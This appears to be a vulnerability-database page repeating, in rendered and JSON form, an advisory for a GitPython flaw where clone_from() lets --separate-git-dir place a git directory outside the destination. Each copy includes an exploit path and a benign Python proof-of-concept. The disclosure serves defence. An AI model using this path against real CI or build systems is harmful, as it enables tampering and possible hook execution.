**Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-cruft-CVE-2026-78677",
"modified": "2026-09-17T19:38:44Z",
"published": "2026-09-04T08:52:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
BREW-CYCODE-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:54 – Updated: 2026-09-17 18:32 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "cycode",
"purl": "pkg:brew/cycode"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.5"
},
{
"fixed": "3.19.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-cycode-CVE-2026-78677",
"modified": "2026-09-17T18:32:20Z",
"published": "2026-09-04T08:54:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
